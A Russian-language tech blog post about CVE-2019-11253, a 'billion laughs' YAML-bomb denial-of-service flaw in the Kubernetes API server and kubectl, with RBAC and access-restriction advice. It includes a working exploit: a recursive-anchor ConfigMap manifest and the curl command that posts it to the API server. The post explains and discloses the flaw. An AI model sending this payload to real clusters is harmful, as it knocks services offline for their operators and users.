1 октября 2019

Уязвимость CVE-2019-11253 в YAML-парсере Kubernetes приводит к DoS-атаке

Блог компании ФлантИнформационная безопасностьСистемное администрированиеKubernetes
В issues проекта Kubernetes обсуждается потенциально опасная уязвимость в парсере YAML-документов kubectl (на стороне клиента) и API Server (на стороне сервера), которая может привести к разновидности DoS-атак под названием billion laughs.



Для уязвимости уже зарезервирован номер: CVE-2019-11253, — однако детали CVE всё ещё не опубликованы. Широкой общественности о проблеме стало известно в результате обсуждения «YAML-бомбы» для Kubernetes API на Stack Overflow.

В Kubernetes-объекте ConfigMap, когда он определяется форматом YAML, могут содержаться так называемые «отсылки» (references) к другим блокам (nodes) документа. Это специальная фича YAML, созданная для удобства: для возможности использовать идентичные фрагменты конфигураций и сокращения общего размера YAML-документов. Проблема сводится к тому, что references могут быть рекурсивными, в результате чего потребление CPU стремительно вырастает.

Обнаруженную уязвимость назвали «родственником» уже хорошо известной проблемы при парсинге формата XML, которую называют billion laughs (по той причине, что для её иллюстрации обычно используют множество строк, содержащих «lol») или же XML-бомбой.

Пример для воспроизведения CVE-2019-11253 на серверной стороне K8s (API Server):

  1. Создать такой манифест, сохранив как yaml_bomb.yml:

    apiVersion: v1
    data:
      a: &a ["web","web","web","web","web","web","web","web","web"]
      b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
      c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
      d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
      e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
      f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
      g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
      h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
      i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    kind: ConfigMap
    metadata:
      name: yaml-bomb
      namespace: default
  2. Запустить kubectl proxy на кластере.
  3. Из директории с yaml_bomb.yml выполнить:

    curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H "Content-Type: application/yaml" --data-binary @yaml_bomb.yml
  4. У пользователя должны быть права на создание объектов ConfigMap (в пространстве имён default), чтобы всё случилось. Остаётся лишь наблюдать за потреблением процессора API-сервером кластера.

Для полного решения проблемы разработчики Kubernetes ожидают «фундаментального патча в библиотеке YAML».

Из наиболее очевидных общих рекомендаций для избежания последствий подобных уязвимостей — закрытие Kubernetes API для внешних пользователей и грамотная конфигурация RBAC-политик в кластере. Подробнее о них рассказывается, например, в этой свежей статье.

P.S.


Читайте также в нашем блоге:

Теги:KubernetesбезопасностьYAMLbillion laughs
Хабы: Блог компании Флант Информационная безопасность Системное администрирование Kubernetes
Комментарии 5
Реклама
Похожие публикации
Лучшие публикации за сутки

Рекомендуем

Разместить